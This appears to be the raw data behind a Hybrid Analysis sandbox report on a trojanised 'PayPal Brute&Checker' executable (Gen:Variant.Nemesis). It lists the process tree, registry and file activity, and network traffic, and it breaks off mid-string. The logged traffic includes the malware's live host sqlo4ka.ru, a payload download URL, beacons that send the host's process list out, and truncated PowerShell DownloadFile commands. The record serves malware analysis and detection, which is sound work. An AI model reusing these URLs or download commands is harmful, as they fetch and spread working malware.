24:I[10321,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/3h6zdc-it88if.js","/_next/static/chunks/2vw2j18d9u3gs.js","/_next/static/chunks/3l_wb6il5gi_h.js"],"ReportDetailWrapper"] e0:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T553,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Gen:Variant.Nemesis — Falcon Sandbox Report — Score 100/100 — Sample 7318d96a0284…","description":"Malicious verdict for sandbox report 5cf33b8b0288…. Malware family: Gen:Variant.Nemesis. Threat score 100/100. 13 malicious and 35 suspicious behavioral indicators across 109 signatures. Detonated in Windows 7 64 bit. View behavioral indicators, network activity, dropped files, and MITRE ATT\u0026CK mappings.","url":"/sample/7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b/5cf33b8b028838d07437db51","keywords":["Malicious","Gen:Variant.Nemesis","sandbox report","malware analysis","MITRE ATT\u0026CK","7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b"],"about":{"@type":"SoftwareApplication","name":"PayPal Brute\u0026Checker.exe","applicationCategory":"PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive","identifier":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Gen:Variant.Nemesis","sandboxEnvironment":"Windows 7 64 bit","behavioralIndicators":{"malicious":13,"suspicious":35,"totalSignatures":109},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8A//////93d3d3d3f///////////93d3d3d3d3d/////////93d3//////93d3///////3d3/////////3d3//////d3f//////////3d3////93f/////////////d3///3d///////////////d3//93f/d/////////93/3d//3d//3d////////3d//3d/93///3d///////93f//3f3d///93d//////3d///93d3////d3f/////93f///93d/////d3f////3d/////d3f//3d3d393d3d3d3f//3d3//93d3d3d3d3d3d3//93d///d3d3d3d3d3d3d///d3f//3d3d3d3d3d3d3f//3d3//93d3d3d3d3d3d3//93d///////d3f3d///////d3f///////d393f//////3d3////////f3d///////93d3////////93///////3d/d////////3d///////93/3d///////93///////3d//3d///////d///////d3//93f//////////////3d///93f/////////////d3////93d///////////d3f/////93d/////////93d///////93d3//////93d3/////////3d3d3d3d3d3////////////d3d3d3d3//////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==26:T670,"PayPalBrute_Checker.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\PAYPAL.SCR") "PayPalBrute_Checker.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\PAYPAL.SCR") "PayPalBrute_Checker.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\PAYPAL BRUTE&CHECKER.EXE") "PayPalBrute_Checker.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\PAYPAL BRUTE&CHECKER.EXE") "PayPal.scr" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WSCRIPT.EXE") "PayPal.scr" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WSCRIPT.EXE") "loader.bat" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\90CC6E447D345BB1F103751AB038BBCE19190DB6.EXE") "loader.bat" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\90CC6E447D345BB1F103751AB038BBCE19190DB6.EXE") "loader.bat" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CMD.EXE") "loader.bat" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CMD.EXE") "90cc6e447d345bb1f103751ab038bbce19190db6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WSCRIPT.EXE") "90cc6e447d345bb1f103751ab038bbce19190db6.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WSCRIPT.EXE") "90cc6e447d345bb1f103751ab038bbce19190db6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINDOWS DEFENDER.EXE") "90cc6e447d345bb1f103751ab038bbce19190db6.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINDOWS DEFENDER.EXE")27:T855,"GET /DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe HTTP/1.1 Host: sqlo4ka.ru Connection: Keep-Alive" "GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive" "GET /DCRS/main.php?data=active HTTP/1.1 Host: sqlo4ka.ru Connection: Keep-Alive" "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1 Host: sqlo4ka.ru" "GET /DCRS/dsock//8e14f57630962c322e7438a5604d645fabd90e1e.f71e66d9c0a9fa3301b2f8e4024967bc HTTP/1.1 Host: sqlo4ka.ru" "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Edllhost.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1 Host: sqlo4ka.ru"28:T428,"loader.bat" loaded module "%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\5d0c037297cc1a64b52ce43b45c2ac2e\mscorlib.ni.dll" at E9770000 "powershell.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\199dd46435d7fdbbe590cccd8c8ae9cb\mscorlib.ni.dll" at 71E10000 "powershell.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll" at EF7B0000 "Windows defender.exe" loaded module "%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\77f338d420d067a26b2d34f47445fc51\mscorlib.ni.dll" at 70E90000 "e6ee5674bb9446c78bbc5729af6e2c28.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll" at E9E30000 "WatchBull.exe" loaded module "%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\77f338d420d067a26b2d34f47445fc51\mscorlib.ni.dll" at 6FB30000 "fontreview.exe" loaded module "%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\77f338d420d067a26b2d34f47445fc51\mscorlib.ni.dll" at 70E9000029:Ta6c,"PayPalBrute_Checker.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "PayPalBrute_Checker.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "PayPalBrute_Checker.exe" touched "UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "PayPalBrute_Checker.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "PayPalBrute_Checker.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\SHELLFOLDER") "PayPalBrute_Checker.exe" touched "Shell File System Folder" (Path: "HKCU\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "PayPalBrute_Checker.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "PayPal.scr" touched "Microsoft Multiple AutoComplete List Container" (Path: "HKCR\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}") "PayPal.scr" touched "Microsoft Shell Folder AutoComplete List" (Path: "HKCU\WOW6432NODE\CLSID\{03C036F1-A186-11D0-824A-00AA005B4383}\TREATAS") "PayPal.scr" touched "Microsoft AutoComplete" (Path: "HKCU\WOW6432NODE\CLSID\{00BB2763-6A77-11D0-A535-00C04FD7D062}\TREATAS") "PayPal.scr" touched "Microsoft TipAutoCompleteClient Control" (Path: "HKCU\WOW6432NODE\CLSID\{807C1E6C-1D00-453F-B920-B61BB7CDD997}\TREATAS") "PayPal.exe" touched "Enhanced Storage Icon Overlay Handler Class" (Path: "HKCU\WOW6432NODE\CLSID\{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}\INPROCSERVER32") "PayPal.exe" touched "Sharing Overlay (Private)" (Path: "HKCU\WOW6432NODE\CLSID\{08244EE6-92F0-47F2-9FC9-929BAA2E7235}\INPROCSERVER32") "loader.bat" touched "Portable Devices" (Path: "HKCU\CLSID\{35786D3C-B075-49B9-88DD-029876E11C01}\SHELLFOLDER") "loader.bat" touched "Enhanced Storage Data Source" (Path: "HKCU\CLSID\{9113A02D-00A3-46B9-BC5F-9C04DADDD5D7}\SHELLFOLDER") "loader.bat" touched "delegate folder that appears in Computer" (Path: "HKCU\CLSID\{B155BDF8-02F0-451E-9A26-AE317CFD7779}\SHELLFOLDER") "loader.bat" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "loader.bat" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "loader.bat" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "loader.bat" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER")2a:T7f7,Process "wscript.exe" (UID: 00099629-00002756) was launched with new environment variables: "sfxcmd=""C:\Users\HAPUBWS\AppData\Roaming\1337\PayPal.scr" /S", sfxstime="2019-06-02-05-00-04-115", sfxpar="/S", sfxname="C:\Users\HAPUBWS\AppData\Roaming\1337\PayPal.scr"" Process "PayPal.exe" (UID: 00099768-00003800) was launched with modified environment variables: "CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles" Process "PayPal.exe" (UID: 00099768-00003800) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432, sfxcmd, sfxstime, sfxpar, sfxname" Process "loader.bat" (UID: 00099794-00004056) was launched with modified environment variables: "CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles" Process "loader.bat" (UID: 00099794-00004056) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432, sfxcmd, sfxstime, sfxpar, sfxname" Process "powershell.exe" (UID: 00099826-00003808) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64", sfxcmd=""C:\Users\HAPUBWS\AppData\Roaming\1337\PayPal.scr" /S", sfxstime="2019-06-02-05-00-04-115", sfxpar="/S", sfxname="C:\Users\HAPUBWS\AppData\Roaming\1337\PayPal.scr"" Process "powershell.exe" (UID: 00099826-00003808) was launched with modified environment variables: "CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles" Process "timeout.exe" (UID: 00100348-00000320) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64", sfxcmd=""C:\Users\HAPUBWS\AppData\Roaming\1337\PayPal.scr" /S", sfxstime="2019-06-02-05-00-04-115", sfxpar="/S", sfxname="C:\Users\HAPUBWS\AppData\Roaming\1337\PayPal.scr"" Process "timeout.exe" (UID: 00100348-00000320) was launched with modified environment variables: "CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles" Process "wscript.exe" (UID: 00100726-00002996) was launched with modified environment variables: "sfxcmd, sfxstime, sfxname" Process "wscript.exe" (UID: 00100726-00002996) was launched with missing environment variables: "sfxpar"2b:T71e,Spawned process "PayPal.scr" with commandline "/S" (UID: 00099374-00003980) Spawned process "PayPal brute?checker.exe" (UID: 00099410-00003540) Spawned process "wscript.exe" with commandline ""%PUBLIC%\Download\H5KkIOXyzL2J9BOlW1BGwFzh93eQph.vbs"" (UID: 00099629-00002756) Spawned process "PayPal.exe" (UID: 00099768-00003800) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c ""%PUBLIC%\Download\jxzvmjhZXoFhKaV ..." (UID: 00099783-00003796) Spawned process "loader.bat" (UID: 00099794-00004056) Spawned process "powershell.exe" with commandline "powershell -Command "(New-Object Net.WebClient).DownloadFile('h ..." (UID: 00099826-00003808) Spawned process "cmd.exe" with commandline "/C powershell -Command "(New-Object Net.WebClient).DownloadFile( ..." (UID: 00100067-00003360) Spawned process "powershell.exe" with commandline "powershell -Command "(New-Object Net.WebClient).DownloadFile('h ..." (UID: 00100099-00003764) Spawned process "timeout.exe" with commandline "TIMEOUT /T 1 /NOBREAK" (UID: 00100348-00000320) Spawned process "90cc6e447d345bb1f103751ab038bbce19190db6.exe" (UID: 00100415-00002736) Spawned process "wscript.exe" with commandline ""C:\Media\System.vbe"" (UID: 00100726-00002996) Spawned process "Windows defender.exe" (UID: 00100753-00001696) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c ""C:\Media\zVzv5CCsXa33WA0xKgGdsJR1 ..." (UID: 00101239-00002600) Spawned process "e6ee5674bb9446c78bbc5729af6e2c28.exe" (UID: 00101297-00001072) Spawned process "WatchBull.exe" (UID: 00101338-00001632) Spawned process "fontreview.exe" with commandline "C:/Media/fontreview.exe" (UID: 00101353-00003544) Spawned process "cmd.exe" with commandline "/C%PROGRAMFILES%\(x86)/Adobe/Acrobat Reader DC/Esl/regedit.exe" (UID: 00101634-00002536)2c:T71e,Spawned process "PayPal.scr" with commandline "/S" (UID: 00099374-00003980) Spawned process "PayPal brute?checker.exe" (UID: 00099410-00003540) Spawned process "wscript.exe" with commandline ""%PUBLIC%\Download\H5KkIOXyzL2J9BOlW1BGwFzh93eQph.vbs"" (UID: 00099629-00002756) Spawned process "PayPal.exe" (UID: 00099768-00003800) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c ""%PUBLIC%\Download\jxzvmjhZXoFhKaV ..." (UID: 00099783-00003796) Spawned process "loader.bat" (UID: 00099794-00004056) Spawned process "powershell.exe" with commandline "powershell -Command "(New-Object Net.WebClient).DownloadFile('h ..." (UID: 00099826-00003808) Spawned process "cmd.exe" with commandline "/C powershell -Command "(New-Object Net.WebClient).DownloadFile( ..." (UID: 00100067-00003360) Spawned process "powershell.exe" with commandline "powershell -Command "(New-Object Net.WebClient).DownloadFile('h ..." (UID: 00100099-00003764) Spawned process "timeout.exe" with commandline "TIMEOUT /T 1 /NOBREAK" (UID: 00100348-00000320) Spawned process "90cc6e447d345bb1f103751ab038bbce19190db6.exe" (UID: 00100415-00002736) Spawned process "wscript.exe" with commandline ""C:\Media\System.vbe"" (UID: 00100726-00002996) Spawned process "Windows defender.exe" (UID: 00100753-00001696) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c ""C:\Media\zVzv5CCsXa33WA0xKgGdsJR1 ..." (UID: 00101239-00002600) Spawned process "e6ee5674bb9446c78bbc5729af6e2c28.exe" (UID: 00101297-00001072) Spawned process "WatchBull.exe" (UID: 00101338-00001632) Spawned process "fontreview.exe" with commandline "C:/Media/fontreview.exe" (UID: 00101353-00003544) Spawned process "cmd.exe" with commandline "/C%PROGRAMFILES%\(x86)/Adobe/Acrobat Reader DC/Esl/regedit.exe" (UID: 00101634-00002536)2d:T5d3,"regedit.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "System.lnk" has type "MS Windows shortcut Item id list present Has Relative path ctime=Mon Jan 1 00:00:00 1601 mtime=Mon Jan 1 00:00:00 1601 atime=Mon Jan 1 00:00:00 1601 length=0 window=hide" "vmcheck32.dll" has type "ASCII text with no line terminators" "PayPal.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "RuntimeBroker.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "System.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" "90cc6e447d345bb1f103751ab038bbce19190db6.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed" "WebHelper.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "autopass.dll" has type "ASCII text with no line terminators" "fontreview.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "dasHost.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "PayPal brute_checker.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows" "H5KkIOXyzL2J9BOlW1BGwFzh93eQph.vbs" has type "ASCII text" "jxzvmjhZXoFhKaVkRQp3.cmd" has type "ASCII text with CRLF line terminators" "WatchBull.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows" "loader.bat" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"2e:T52c,"PayPalBrute_Checker.exe" touched file "C:\Windows\SysWOW64\en-US\setupapi.dll.mui" "PayPalBrute_Checker.exe" touched file "C:\Windows\SysWOW64\oleaccrc.dll" "PayPalBrute_Checker.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "PayPalBrute_Checker.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "PayPalBrute_Checker.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "PayPalBrute_Checker.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001d.db" "PayPalBrute_Checker.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "PayPalBrute_Checker.exe" touched file "C:\Windows\SysWOW64\shdocvw.dll" "PayPalBrute_Checker.exe" touched file "C:\Windows\SysWOW64\en-US\shdocvw.dll.mui" "PayPalBrute_Checker.exe" touched file "C:\Windows\SysWOW64\en-US\propsys.dll.mui" "PayPalBrute_Checker.exe" touched file "C:\Windows\AppPatch\AppPatch64\sysmain.sdb" "PayPalBrute_Checker.exe" touched file "%APPDATA%\Microsoft\Windows\Start Menu\desktop.ini" "PayPalBrute_Checker.exe" touched file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\desktop.ini" "PayPalBrute_Checker.exe" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\desktop.ini"2f:T4ad,Pattern match: "http://nsis.sf.net/NSIS_Error" Pattern match: "http://schemas.microsoft.com/SMI/2005/WindowsSettings" Heuristic match: "sqlo4ka.ru" Heuristic match: "ipinfo.io" Heuristic match: "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CST" Heuristic match: "GET /DCRS/dsock//8e14f57630962c322e7438a5604d645fabd90e1e.f71e66d9c0a9fa3301b2f8e4024967bc HTTP/1.1 Host: sqlo4ka.ru" Heuristic match: "HEAD /DCRS/dsock//8e14f57630962c322e7438a5604d645fabd90e1e.52f6325a1f4b665ec3df0689d6ec3610 HTTP/1.1 Host: sqlo4ka.ru" Heuristic match: "HEAD /DCRS/dsock//8e14f57630962c322e7438a5604d645fabd90e1e.e3e9d48e79205a68773865b95914d2a3 HTTP/1.1 Host: sqlo4ka.ru" Heuristic match: "HEAD /DCRS/dsock//8e14f57630962c322e7438a5604d645fabd90e1e.comm HTTP/1.1 Host: sqlo4ka.ru" Pattern match: "http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe" Pattern match: "https://www.newtonsoft.com/jsonschema" Pattern match: "https://www.nuget.org/packages/Newtonsoft.Json.Bson"30:T2594,""C:\PayPalBrute_Checker.exe"" (Indicator: "paypal") "C:\PayPalBrute_Checker.exe"" (Indicator: "paypal"), "C:\PayPalBrute_Checker.exe" (Indicator: "paypal"), "open C:\Users\HAPUBWS\AppData\Roaming\1337\PayPal brute&checker.exe" (Indicator: "paypal"), "PayPalBrute_Checker.exe" (Indicator: "paypal"), "pen C:\Users\HAPUBWS\AppData\Roaming\1337\PayPal brute&checker.exe" (Indicator: "paypal"), "ers\HAPUBWS\AppData\Roaming\1337\PayPal brute&checker.exe" (Indicator: "paypal"), "C:\Users\HAPUBWS\AppData\Roaming\1337\PayPal brute&checker.exe" (Indicator: "paypal"), "-open C:\Users\HAPUBWS\AppData\Roaming\1337\PayPal brute&checker.exe" (Indicator: "paypal"), "C:\Users\HAPUBWS\AppData\Roaming\1337\PayPal.scr" (Indicator: "paypal"), "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "paypal"), "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1 Host: sqlo4ka.ru" (Indicator: "paypal"), "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Esvchost.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Edllhost.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "paypal"), "GET 